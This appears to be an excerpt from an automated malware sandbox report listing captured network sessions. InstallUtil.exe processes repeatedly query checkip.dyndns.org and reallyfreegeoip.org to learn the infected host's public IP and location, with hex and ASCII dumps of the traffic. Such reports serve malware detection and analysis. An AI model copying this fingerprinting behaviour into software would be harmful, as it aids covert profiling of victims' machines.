Sep 26, 2024 15:11:29.087321043 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:29 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a4f354507a8e4785a335416a6d5ceef7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.12	49738	158.101.44.242	80	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:29.718950033 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:31.307061911 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:31 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: eb73bd244c4cebdabaea64f960471e65 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.12	49739	158.101.44.242	80	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:31.044992924 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:31.619328022 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:31 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a3ec399fc52b478689106359d57d8e59 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 15:11:31.623229027 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:32.889484882 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:32 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9b4e5f3711c653e15a247c1d68bd82ea Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 15:11:33.610296011 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:35.823322058 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Thu, 26 Sep 2024 13:11:35 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: abe11f643ec25b6ffe92e7bf5badfe4b Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Sep 26, 2024 15:11:35.829971075 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:36.318698883 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:36 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c297d9bc1c132556defccd6417e3184a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.12	49741	158.101.44.242	80	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:31.933600903 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:32.513858080 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:32 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c3423e62ffc27d5ef635b5023da4b67c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.12	49744	158.101.44.242	80	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:33.129199982 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:35.823275089 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Thu, 26 Sep 2024 13:11:35 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 582c56fd52fc64ed8bb205e753327b80 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.12	49745	158.101.44.242	80	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:35.840898991 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:36.557346106 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:36 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 724999ac0404ad5cc0bd2e7e7f7f4671 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.12	49748	158.101.44.242	80	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:36.970360994 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:38.537262917 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:38 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6ba36168204ba71eb1c97a949919ed78 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.12	49749	158.101.44.242	80	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:37.169260025 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:39.849807978 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Thu, 26 Sep 2024 13:11:39 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: d5f13c6fc4001f479bf092a82ea70d17 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.12	49751	158.101.44.242	80	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:39.167714119 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 26, 2024 15:11:41.265208960 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:41 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1e6c668d052f29c38a2bb773bc53557c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.12	49752	158.101.44.242	80	6644	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:39.859986067 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:43.280886889 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:42 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0a6c9a3100e6a2d98a63a0f35616b004 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Sep 26, 2024 15:11:43.281482935 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:42 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0a6c9a3100e6a2d98a63a0f35616b004 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.12	49755	158.101.44.242	80	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:41.872819901 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:43.969958067 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:43 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: b3eb223eb86015dc74e7794a8cf145ea Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.12	49758	158.101.44.242	80	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:44.611912012 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:46.175530910 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:46 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 362707ac16f931977f0f91c34f74d552 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.12	49760	158.101.44.242	80	6960	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 15:11:46.858582973 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 15:11:50.827497005 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:50 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2d6a4407e2dfa563fdea394b8c6425a2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49719	188.114.96.3	443	7140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:04 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 13:11:04 UTC	684	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:04 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21096 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HY%2F7RtVC9AxIjug2TVYtcwK14MqY7DtimHdfFsM%2B2kQgSj%2F%2FBZVuCZgSskvDrhd1n05tTlojUYzaiNFoiiRrO%2FbDt32NMh%2Bu4mOkiTgCl74Eokrtxt55x0T%2BNbu62UPBvU6btMG9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c937f6d6c9b7c7c-EWR
2024-09-26 13:11:04 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 13:11:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49723	188.114.96.3	443	7140	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 13:11:06 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 13:11:06 UTC	684	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 13:11:06 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21098 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sgH18JfkuzbFUldjiznj84NLUgJ0bu8%2FGH4iR21prt1pmTsOAD%2FtKT6NTCh4SEa92RARtve9wDr80LHYp1cOb%2BiXYMVFBBE9yVve8EKh90Gdq2y0%2FDM9OGLL5ZsN6MnAXK%2F%2F3%2BC3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c937f791a73c407-EWR
